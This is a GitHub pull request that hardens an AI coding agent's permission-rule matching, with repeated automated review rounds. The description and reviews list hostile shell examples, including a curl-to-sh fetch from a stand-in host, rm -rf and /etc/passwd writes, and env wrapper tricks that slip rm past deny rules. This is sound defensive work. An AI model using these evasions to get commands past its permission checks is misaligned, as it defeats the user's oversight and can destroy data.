Skip to content

fix(permissions): resolve rules by severity and match shell commands per invocation - #501

Merged
emal-avala merged 11 commits into
mainfrom
fix/permission-rule-precedence
Jul 26, 2026
Merged

fix(permissions): resolve rules by severity and match shell commands per invocation#501
emal-avala merged 11 commits into
mainfrom
fix/permission-rule-precedence

Conversation

@emal-avala

@emal-avala emal-avala commented Jul 25, 2026

Copy link
Copy Markdown
Member

Summary

Two holes in permission-rule evaluation. Both verified by driving the live PermissionChecker, not by reading the code.

1. An allow pattern was globbed against the raw command line

matches_input_pattern picked input["command"] and ran a */? glob over the whole unparsed string, so anything appended to a matching prefix inherited the grant. With one rule — tool = "Bash", pattern = "git status*", action = "allow":

git status                        -> Allow      (intended)
git status && rm -rf /tmp/x       -> Allow      ← 
git status; curl evil.sh | sh     -> Allow      ← 
git status | tee /etc/passwd      -> Allow      ← 
git status $(rm -rf /tmp/y)       -> Allow      ← 

2. Rules resolved by position, so a deny could be shadowed

rules = [ allow Bash "*", deny Bash "rm *" ]
rm -rf /tmp/z                     -> Allow      ← the deny never fired

Position is not something a user can control. Config layers replace the rules array wholesale (merge_toml_values merges tables, not arrays), so which rule comes first depends on which layer last defined the array — a deny in .agent/settings.local.toml is dead if ~/.config defines any rules at all.

The documented example was exactly this shape: "Auto-approve git commands" (allow, git *) followed by "Block destructive commands" (deny, rm -rf *). Read in order, the deny is unreachable for any command starting with git.

What changed

Severity ordering. All matching rules are evaluated and the most restrictive wins: deny > plan > ask > allow/accept_edits/auto. deny short-circuits.

Per-invocation shell matching, asymmetric by direction:

direction rule
allow, accept_edits, auto must match every invocation; refuses outright on substitution, subshell, process substitution, redirection or variable assignment
deny, ask, plan matches when any invocation matches; also honours a raw-text match so existing broad patterns keep catching what they caught

The asymmetry is the safety property: adding a segment or a wrapper can only ever cost permissions, never grant them. This is the same fail-closed shape Auto mode already uses, now applied to rules.

One deliberate exemption. A universal pattern (*) skips the widening analysis. It carries no specificity for an extra segment to widen it into, and analysing it would turn ls > /tmp/out into a prompt for someone who explicitly opted out of prompting. a_universal_allow_still_allows_everything pins this so the exemption can't quietly rot into a hole.

Ordering note

This is a prerequisite for persistent grants (D9-06/07). Remembered grants matched by raw-string prefix would convert this from a papercut into a durable vulnerability — an "always allow git status" that survives restarts and approves git status && rm -rf /. Landing the matcher first is the whole point of the sequencing.

Verification

New tests, each named for the property it defends:

  • an_allow_rule_does_not_extend_to_appended_commands — the 7 evasions above, plus an assertion that git status itself is still allowed (a fix that made rules safe but useless would be its own failure)
  • a_deny_rule_catches_a_buried_segment — deny finds its target behind &&, ;, ||
  • deny_outranks_allow_regardless_of_order — asserts both orderings, so the property is about severity and not about luck
  • ask_outranks_allow_regardless_of_order
  • check_read_honours_a_buried_deny — the read path takes the same treatment
  • an_allow_rule_refuses_unanalysable_commands — fail-closed on assignment/redirect/subshell/substitution/process-substitution
  • a_universal_allow_still_allows_everything
  • the two existing matches_input_pattern tests now assert their result is identical in both directions, so non-shell inputs can't drift into the asymmetry

cargo test --workspace green (1514 lib tests, +7). clippy --all-targets -- -D warnings and fmt --check clean. Four doc pages updated — all of them documented first-match-wins.

Not covered here

--permission-mode has default_value = "ask" and assigns unconditionally in main.rs, so [permissions] default_mode from config is always clobbered; "auto" is also absent from its match arms, so --permission-mode auto silently degrades to Ask. Separate bug, separate PR.

Behaviour change called out for review

crates/lib/tests/permissions_integration.rs::first_matching_rule_wins asserted the old semantics, and its own comment described the hazard:

// Rule 1: deny ALL bash. This comes after, so git * still allowed.

A user who wrote a blanket deny still got git diff executed. That test is replaced by most_restrictive_rule_wins_over_position, which runs the same rule set in both orders so the assertion is about severity and not about luck, plus a_lone_allow_rule_still_allows so the new ordering cannot regress into refusing everything.

This is a real semantic change, not a test fix — flagging it explicitly rather than burying it in the diff.

@mintlify

mintlify Bot commented Jul 25, 2026

Copy link
Copy Markdown

Preview deployment for your docs. Learn more about Mintlify Previews.

Project Status Preview Updated (UTC)
agentcode 🟡 Building Jul 25, 2026, 9:43 PM

💡 Tip: Enable Workflows to automatically generate PRs for you.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 2e38888c32

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/lib/src/permissions/mod.rs Outdated
Comment on lines +382 to +384
// Allow / AcceptEdits / Auto all widen what may run without a
// prompt, so they are the weakest claim a rule can make.
PermissionMode::Allow | PermissionMode::AcceptEdits | PermissionMode::Auto => 0,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Rank Auto and AcceptEdits by their actual decisions

Allow, AcceptEdits, and Auto are not equally restrictive for every tool: for example, an Auto rule for Bash asks before git push, while an overlapping Allow rule executes it. Assigning all three rank 0 means the first matching rule still wins because equal ranks never replace the winner; with concatenated configuration layers, an earlier user-level Allow can therefore override a later project-level Auto, silently running a command the more restrictive rule would prompt for. Use the resolved decision for the tool/input, or give these modes distinct context-aware ordering.

AGENTS.md reference: AGENTS.md:L129-L129

Useful? React with 👍 / 👎.

Comment thread crates/lib/src/permissions/mod.rs Outdated
Comment on lines +392 to +393
if let Some(command) = input.get("command").and_then(|v| v.as_str()) {
return matches_shell_command(pattern, command, action);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Restrict Bash parsing to Bash rules

This branch selects shell matching solely because the payload has a command field, so Windows PowerShell rules are now parsed with the Bash grammar too. A valid PowerShell invocation such as Get-ChildItem -Path (Join-Path $env:TEMP '*') previously matched an allow pattern like Get-ChildItem*, but the Bash parser reports a subshell or parse error and the widening rule now fails closed, causing the configured allow to fall through to Ask or Deny. Pass the tool identity into this matcher and apply Bash parsing only to Bash commands; PowerShell needs its own semantics.

Useful? React with 👍 / 👎.

Comment thread docs/concepts/permissions.mdx Outdated
Comment on lines +107 to +110
Severity ordering matters because config layers *replace* the `rules` array
rather than merging it, so which rule comes first is not something you can
reliably control across `~/.config`, `.agent/settings.toml` and
`.agent/settings.local.toml`. A `deny` you wrote is never silently outranked by

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Correct the documented rule-layer merge behavior

The documentation says config layers replace the rules array, but merge_layer_contents explicitly collects rules from every layer and splices the concatenated array back into the merged config. Users relying on this text may incorrectly assume lower-layer rules disappear when defining project or local rules; update both mirrored permission pages to describe the existing extend semantics.

AGENTS.md reference: AGENTS.md:L219-L219

Useful? React with 👍 / 👎.

…per invocation

Two holes in rule evaluation, both verified against the live checker.

A pattern on a Bash rule was globbed against the raw command line, so
anything appended to a matching prefix inherited the grant. With a rule
of `pattern = "git status*", action = "allow"`:

  git status                        -> Allow
  git status && rm -rf /tmp/x       -> Allow
  git status; curl evil.sh | sh     -> Allow
  git status | tee /etc/passwd      -> Allow
  git status $(rm -rf /tmp/y)       -> Allow

Rules also resolved by position, first match wins, so a deny listed after
a broader allow never fired:

  rules = [allow Bash *, deny Bash "rm *"]
  rm -rf /tmp/z                     -> Allow

Position is not something a user can control: config layers replace the
rules array wholesale rather than concatenating it, so which rule comes
first depends on which layer happened to define the array. The docs'
own example — allow "git *" followed by deny "rm -rf *" — was exactly
this shape.

Rules now resolve by severity: deny > plan > ask > allow, evaluated over
every matching rule.

Bash patterns are matched per invocation, asymmetrically by direction. A
widening action must match every invocation and refuses outright when the
command contains substitution, a subshell, process substitution,
redirection or a variable assignment, since the text that will actually
run is not knowable at gate time. A restricting action matches when any
invocation matches, and still honours a raw-text match so existing broad
patterns keep catching what they caught. Adding a segment or a wrapper
can therefore only cost permissions, never grant them.

A universal pattern is exempt from the widening analysis: it carries no
specificity for an extra segment to widen it into, and analysing it would
turn `ls > out` into a prompt for someone who explicitly opted out.

Docs updated — four pages documented first-match-wins.
`first_matching_rule_wins` asserted the behaviour this change removes,
and its own comment described the bug: "Rule 1: deny ALL bash. This comes
after, so git * still allowed." A user who wrote a blanket deny still got
`git diff` executed.

Rewritten as `most_restrictive_rule_wins_over_position`, which runs the
same rule set in both orders so the assertion is about severity rather
than luck. Added `a_lone_allow_rule_still_allows` so the new ordering
cannot regress into refusing everything.
…g by tool

Review follow-ups on this branch:

- Auto, AcceptEdits and Allow shared rank 0, and equal ranks keep the
  first match — with concatenated config layers an earlier user-level
  allow silently overrode a later project-level auto. The widening
  modes now rank Auto > AcceptEdits > Allow (still all below Ask); the
  shell-matching asymmetry keys off a new is_widening() instead of
  rank 0 so it is unaffected by the ranking change.

- The Bash grammar was applied to any input with a command field, so
  PowerShell rules parsed PowerShell syntax as Bash — parens read as
  subshells and valid invocations failed closed past a configured
  allow. matches_input_pattern now takes the tool name and only
  Bash input goes through the parser; other command-carrying tools
  keep the raw glob match.

- Docs described config layers as replacing the rules array; they
  concatenate. Both mirrored pages corrected.
@emal-avala

Copy link
Copy Markdown
Member Author

@codex review — all three findings addressed in the latest push: widening modes now rank Auto > AcceptEdits > Allow (with the shell-matching asymmetry keyed off a new is_widening() so it's unaffected by the ranking change), Bash-grammar matching is gated on the Bash tool (PowerShell rules glob the raw command again), and both mirrored docs pages now describe concatenate semantics. New tests: later-auto-beats-earlier-allow, rank ordering, and the PowerShell-not-parsed-as-Bash case.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: af00e8b1e0

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/lib/src/permissions/mod.rs Outdated
Comment on lines +400 to +404
fn is_widening(action: PermissionMode) -> bool {
matches!(
action,
PermissionMode::Allow | PermissionMode::AcceptEdits | PermissionMode::Auto
)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Treat prompting Auto rules as restrictive matches

When an Auto Bash rule would prompt, classifying it as widening lets an appended invocation make that rule stop matching and exposes a broader Allow rule. For example, with Auto("git status*") before Allow("*"), git status && rm -rf /tmp/x previously matched Auto and prompted; now the Auto match fails because rm does not match, the universal Allow matches, and the whole chain executes. Match such dynamically restrictive rules on any relevant invocation before resolving their decision so adding a segment cannot grant permission.

AGENTS.md reference: AGENTS.md:L194-L194

Useful? React with 👍 / 👎.

Comment thread crates/lib/src/permissions/mod.rs Outdated
Comment on lines +389 to +390
PermissionMode::Auto => 2,
PermissionMode::AcceptEdits => 1,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Rank AcceptEdits above Auto

For a safe Bash command matched by both modes, AcceptEdits prompts while Auto allows it, so AcceptEdits is the more restrictive action. The current ordering selects Auto and executes commands such as git status despite a matching AcceptEdits rule intended to require approval; this contradicts the new most-restrictive-match semantics when concatenated layers provide both rules.

AGENTS.md reference: AGENTS.md:L194-L194

Useful? React with 👍 / 👎.

Static mode-identity ranks cannot order the widening modes: for a
provably-safe shell command AcceptEdits prompts while Auto allows,
yet for a file edit both allow — restrictiveness only exists
relative to the input. Each matching rule is now evaluated to its
effective decision for THIS tool+input and the contest is ranked
Deny > Ask > Allow.

The effective decision also selects the shell-match semantics: a
rule that would execute without a prompt makes a widening claim
(every invocation must match, unanalysable commands fail closed),
while a rule that would ask or deny matches on any invocation. That
closes the append-a-segment bypass: an Auto rule that would prompt
for 'git status && rm -rf x' no longer un-matches (every-segment)
and exposes a broader Allow('*') behind it — adding a segment can
remove permissions but never grant them.

Static restrictiveness()/is_widening() are gone; severity and
widening now derive from PermissionDecision.
@emal-avala

Copy link
Copy Markdown
Member Author

@codex review — both follow-ups addressed by moving to effective-decision ranking (your original framing): each matching rule is evaluated to its decision for this tool+input, ranked Deny > Ask > Allow, and the widening/restrictive shell-match asymmetry now derives from that effective decision rather than the mode. Your exact scenarios are now tests: Auto("git status*") + Allow("*") with git status && rm -rf /tmp/x prompts (appended segments can't expose the broader allow), and AcceptEdits' prompt outranks Auto's allow for a safe command.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: ed170ddcab

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/lib/src/permissions/mod.rs Outdated
Comment on lines +460 to +462
return parsed
.map(|p| p.command_texts.iter().any(|seg| glob_match(pattern, seg)))
.unwrap_or(false);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Unwrap commands before matching restrictive Bash rules

With an Auto("git status*") rule followed by Allow("*"), a command such as env git status && touch marker makes Auto resolve to Ask, but this branch tests only the raw command and command_texts (env git status and touch marker). Neither matches git status*, so the blanket Allow wins and the mutation runs without a prompt. Normalize known wrappers such as env/command and recursively inspect shell payloads before performing the any-invocation match, otherwise a wrapper can expose the broader permission that this change is intended to contain.

AGENTS.md reference: AGENTS.md:L194-L194

Useful? React with 👍 / 👎.

Comment thread crates/lib/src/permissions/mod.rs Outdated
/// Rules resolve by **severity, not by position**: `deny` outranks
/// `ask`, which outranks `allow`. Position-ordered evaluation meant a
/// `deny` rule listed after a broad `allow` never fired at all, and
/// because config layers *replace* the `rules` array wholesale rather

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Correct the rule-merging rationale

This states the opposite of the repository's actual configuration behavior: merge_layer_contents explicitly collects every layer's permissions.rules and restores their concatenation, and permission_rules_extend_across_layers verifies that behavior. The same incorrect replacement claim also appears in the changed integration-test comment, while the public permission docs correctly say the arrays concatenate; describing the real extend semantics is important because cross-layer ordering is the reason this ranking logic exists.

Useful? React with 👍 / 👎.

env/command/nohup/setsid in front of an invocation made it invisible
to a restrictive rule's glob: with Auto("git status*") before
Allow("*"), 'env git status && touch marker' resolved Auto to Ask
but neither the raw text nor the segment texts matched the pattern,
so the un-matched rule fell away and the blanket allow ran the
mutation unprompted.

bash_parse now exposes unwrapped_invocation_texts() (wrapper chain,
flags and VAR=value assignments stripped) and the restrictive branch
of matches_shell_command matches those too. The widening side never
uses unwrapped texts, so unwrapping can only remove permissions.

Also corrects the layer-merge rationale in the check() doc comment
and the integration-test comment: layers concatenate their rules
arrays, they do not replace them.
@emal-avala

Copy link
Copy Markdown
Member Author

@codex review — wrapper unwrapping added to the restrictive match path (your env git status && touch marker scenario is now a test: the Auto rule keeps matching and prompts, the blanket allow never fires), and both stale replace-semantics comments corrected to concatenate.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: ed45571f8e

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/lib/src/tools/bash_parse.rs Outdated
Comment on lines +287 to +289
let Some(idx) = tokens[1..]
.iter()
.position(|tok| !tok.starts_with('-') && !is_env_assignment(tok))

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Consume wrapper-option operands before locating the command

With a restrictive Auto("git status*") rule followed by Allow("*"), env -u PATH git status && touch marker is approved without prompting: env --help documents -u, --unset=NAME (and -C, --chdir=DIR) as options taking operands, but this scan treats the first non-dash token (PATH) as the executable and produces PATH git status. The Auto rule therefore stops matching and the blanket allow fires; parse each wrapper's operand-taking options before selecting the wrapped invocation.

AGENTS.md reference: AGENTS.md:L95-L96

Useful? React with 👍 / 👎.

… wrapped command

env options that take an operand (-u/--unset, -C/--chdir, -a/--argv0,
-S/--split-string) defeated unwrapping: the scan took the first
non-dash token as the executable, so 'env -u PATH git status' produced
'PATH git status'. A restrictive Auto("git status*") rule then stopped
matching and a blanket Allow("*") behind it fired unprompted. The same
scan fed dangerous-command detection, so 'env -u PATH rm -rf /' hid rm.

strip_wrapper now parses each wrapper's options: env operand options
are consumed (attached or separate), -S/--split-string operands become
the head of the wrapped command, '--' ends option parsing, and an
unrecognized env option aborts unwrapping entirely — a wrong guess
would hand restrictive rules text that fails to match. Both
unwrapped_invocation_texts and unwrapped_head share the logic.
@emal-avala

Copy link
Copy Markdown
Member Author

@codex review — wrapper unwrapping now parses env's operand-taking options (-u/-C/-a/-S, long forms, attached or separate, -- terminator); unknown env options abort unwrapping instead of guessing, and dangerous-command detection shares the fixed path.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: ea5aca65f9

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/lib/src/tools/bash_parse.rs Outdated
};
return split_string_tokens(&operand, &rest[next..]);
}
_ => return None,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Preserve detection for abbreviated env options

GNU Coreutils permits unambiguous long-option abbreviations, so env --deb r'm' /tmp/victim accepts --deb as --debug and executes rm. Returning None for this option prevents check_parsed_security from seeing the unquoted inner command, while the raw destructive-pattern scan also misses the quote-split rm; the previous parser skipped the option and detected the command. Recognize accepted abbreviations or keep dangerous-command unwrapping conservative instead of aborting here.

AGENTS.md reference: AGENTS.md:L100-L102

Useful? React with 👍 / 👎.

coreutils accepts any unambiguous prefix of a long option, so
'env --deb rm x' runs rm with --deb read as --debug. Treating the
abbreviation as unknown aborted unwrapping, hiding the command from
dangerous-command detection that the previous skip-dashes scan caught.

Long options now resolve by exact name or unambiguous prefix against
env's full option table. Unknown and ambiguous names still abort the
unwrap: env itself rejects them at runtime, so no command executes
behind them and aborting hides nothing.
@emal-avala

Copy link
Copy Markdown
Member Author

@codex review — env long options now resolve by exact name or unambiguous coreutils-style prefix (--deb = --debug), so abbreviated options no longer abort unwrapping; only options env itself rejects (unknown/ambiguous) still bail, since no command executes behind them. Regression tests cover abbreviated unwrapping, the quote-split rm case, and ambiguous-prefix rejection.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 214d7859a8

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/lib/src/tools/bash_parse.rs Outdated
Comment on lines +364 to +365
if !ENV_OPERAND_SHORTS.contains(&c) {
return None;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Support BSD env options before unwrapping

On the macOS release targets, BSD env accepts -P altpath (the macOS env(1) synopsis includes [-P altpath]), but P is absent from both option lists, so this branch returns None even though the child executes. Consequently, with a restrictive rm * rule and a broader Allow("*"), env -P /bin rm victim never exposes rm to the restrictive rule and is silently allowed; the wrapper-aware destructive-command check misses it for the same reason. Handle the supported BSD operand option rather than treating it as rejected.

AGENTS.md reference: AGENTS.md:L100-L102

Useful? React with 👍 / 👎.

Comment thread crates/lib/src/tools/bash_parse.rs Outdated
/// `env -S STRING` splits STRING into the leading words of the wrapped
/// command; the remaining argv tokens follow it.
fn split_string_tokens(operand: &str, remainder: &[String]) -> Option<Vec<String>> {
let mut out: Vec<String> = operand.split_whitespace().map(str::to_string).collect();

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Parse env split-string quoting before matching commands

GNU env --help defines -S as processing and splitting its string, and that split honors quotes rather than behaving like split_whitespace(). For example, GNU env executes env -S "'rm' -rf /tmp/x" as rm -rf /tmp/x, while this code leaves the first token as 'rm'; both unwrapped_head() and a restrictive rm * rule therefore miss it, allowing a broader Allow("*") to execute the destructive command without prompting. Implement the env -S splitting grammar or fail the unwrap conservatively when quoting or escapes are present.

AGENTS.md reference: AGENTS.md:L100-L102

Useful? React with 👍 / 👎.

…unwrapping

Two ways a command still slipped past the unwrapper:

- BSD env (macOS targets) accepts -P altpath and -L/-U user. Absent
  from the option lists, -P aborted the unwrap even though the child
  executes, so 'env -P /bin rm victim' hid rm from restrictive rules
  and dangerous-command detection. The operand-short list is now the
  GNU+BSD union; each implementation rejects the other's options at
  runtime, so consuming an operand for a foreign option never
  mislocates a command that actually runs.

- env -S splits its string with quote and escape rules, not on
  whitespace: env -S "'rm' -rf /tmp/x" executes rm, but the naive
  split left 'rm' quoted and unmatched. split_env_s now implements
  the GNU grammar (quotes, escape table, # comments, \c terminator).
  ${VAR} expansion aborts the unwrap - the executed words cannot be
  known at gate time - and malformed sequences abort too, since env
  rejects them and nothing executes behind them.
@emal-avala

Copy link
Copy Markdown
Member Author

@codex review — env option handling now covers the GNU+BSD union of operand-taking shorts (-P/-L/-U included; each implementation rejects the other's options at runtime, so a foreign operand never mislocates a command that executes), and -S strings are split with the GNU grammar (quotes, escape table, # comments, \c) instead of whitespace; ${VAR} expansion or malformed sequences abort the unwrap. Regression tests cover env -P /bin rm victim, env -S "'rm' -rf /tmp/x", and the ${VAR} bail.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 534b79031f

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/lib/src/tools/bash_parse.rs Outdated
/// `env -S STRING` splits STRING into the leading words of the wrapped
/// command; the remaining argv tokens follow it.
fn split_string_tokens(operand: &str, remainder: &[String]) -> Option<Vec<String>> {
let mut out = split_env_s(operand)?;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Preserve shell backslashes before splitting env -S

When the -S operand is double-quoted by the shell, unwrapped_tokens first passes it through unquote_token, which incorrectly removes every backslash inside double quotes; consequently this new split receives _rm -f ... for env -S "\_rm -f /tmp/victim". Bash actually preserves \_, and GNU coreutils 9.4's documented -S grammar treats it as a word separator, so the invocation executes rm -f /tmp/victim; the parser neither unwraps it as rm nor triggers the AST destructive-command check or an explicit rm * deny rule. Preserve Bash's double-quote backslash semantics when producing the operand before applying the env grammar.

AGENTS.md reference: AGENTS.md:L100-L102

Useful? React with 👍 / 👎.

Inside double quotes bash strips a backslash only before $, backtick,
double-quote or backslash; before anything else the backslash stays.
unquote_token dropped every one, so 'env -S "\_rm -f /tmp/victim"'
reached the -S splitter as '_rm ...' instead of '\_rm ...' - the
separator was lost, the head parsed as '_rm', and both restrictive
rule matching and dangerous-command detection missed the rm that
actually executes.

unquote_token now follows bash's double-quote rules, which also stops
'"r\m"' from being misread as rm - bash runs the literal name r\m.
@emal-avala

Copy link
Copy Markdown
Member Author

@codex review — unquote_token now follows bash's double-quote backslash rules (strip only before $, backtick, quote, backslash; preserve otherwise), so env -S "_rm -f /tmp/victim" reaches the splitter with _ intact and unwraps to rm. Regression tests cover the exploit, the unquote semantics, and the equivalent git-status permission case.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 547ff325a6

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/lib/src/tools/bash_parse.rs Outdated
Comment on lines +402 to +405
fn split_string_tokens(operand: &str, remainder: &[String]) -> Option<Vec<String>> {
let mut out = split_env_s(operand)?;
out.extend_from_slice(remainder);
(!out.is_empty()).then_some(out)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Reprocess options produced by env -S

When a restrictive rm * rule coexists with a blanket allow, env -S '-u DUMMY rm -f /tmp/victim' bypasses it because these lines return -u as the apparent wrapped-command head instead of feeding the expanded arguments back through env option parsing. GNU env -v reports this expansion as '-u' 'DUMMY' 'rm' ..., then unset: DUMMY and executing: rm; here both the rule matcher and AST destructive-command check inspect -u and miss the deletion. Re-run wrapper parsing over the expanded argument vector before identifying the command.

AGENTS.md reference: AGENTS.md:L100-L102

Useful? React with 👍 / 👎.

Comment thread crates/lib/src/tools/bash_parse.rs Outdated
Comment on lines +424 to +426
'outer: while let Some(c) = chars.next() {
match c {
' ' | '\t' => end_word(&mut cur, &mut in_word, &mut words),

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Split env -S operands on newlines

With an actual newline between rm and -f in env -S 'rm\n-f /tmp/victim', GNU env -v splits the operand into rm, -f, and the path and executes the deletion, but this matcher treats only space and tab as separators and produces a command head containing the newline. Consequently, an explicit rm * deny and check_parsed_security both miss the command when a broader allow applies. Treat every separator accepted by GNU env -S, including newline, as a word boundary.

AGENTS.md reference: AGENTS.md:L100-L102

Useful? React with 👍 / 👎.

Comment on lines +208 to +213
'\\' => match chars.peek() {
Some(&next @ ('$' | '`' | '"' | '\\')) => {
chars.next();
out.push(next);
}
}
_ => out.push('\\'),

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Remove double-quoted backslash-newline continuations

Bash also removes a backslash followed by a newline inside double quotes, so env -S "r\<newline>m -f /tmp/victim" passes rm -f /tmp/victim to env. This branch instead preserves the backslash, after which split_env_s rejects the sequence and wrapper analysis returns None; under a broad allow plus an rm * deny, both the permission rule and destructive-command check therefore miss the executed rm. Handle backslash-newline by consuming both characters without emitting either.

AGENTS.md reference: AGENTS.md:L100-L102

Useful? React with 👍 / 👎.

Three more ways a wrapped command escaped the unwrapper:

- env -S emits further env arguments, not the command directly, so
  'env -S "-u DUMMY rm -f x"' left -u as the apparent head. The split
  words now come back with the wrapper head prepended and re-enter
  option parsing on the next pass; the existing 8-iteration bound
  still terminates the loop.
- env splits -S on any whitespace, so a newline between words hid the
  command inside one token. Splitting now uses is_whitespace().
- bash removes a backslash-newline continuation, inside double quotes
  and out; unquote_token kept the backslash, after which the -S split
  rejected the sequence and dropped the unwrap entirely.
@emal-avala

Copy link
Copy Markdown
Member Author

@codex review — env -S output now re-enters option parsing (so '-u DUMMY rm ...' no longer reads -u as the command), -S splits on any whitespace including newlines, and unquote_token drops backslash-newline continuations the way bash does. Regression tests cover all three exploit strings plus the equivalent permission-rule cases.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 834bf5565e

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/lib/src/tools/bash_parse.rs Outdated
match c {
c if c.is_whitespace() => end_word(&mut cur, &mut in_word, &mut words),
'#' if !in_word => break,
'$' => return None,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Treat dynamic env -S expansion as unsafe

When an -S operand contains ${VAR}, GNU env expands it before selecting the executable; for example, GNU env 9.4 executes rm -rf /tmp/x for CMD=rm env -S '${CMD} -rf /tmp/x'. Returning None here causes both unwrapped_invocation_texts and unwrapped_head to silently discard that invocation, so a deny rule matching rm * misses it and a default/broad allow can execute it; the destructive-command checks also see only env and do not flag the resulting rm -rf. Propagate an explicit unknown/unsafe result so unresolved -S expansion cannot fall through the permission and destructive-command gates.

AGENTS.md reference: AGENTS.md:L100-L102

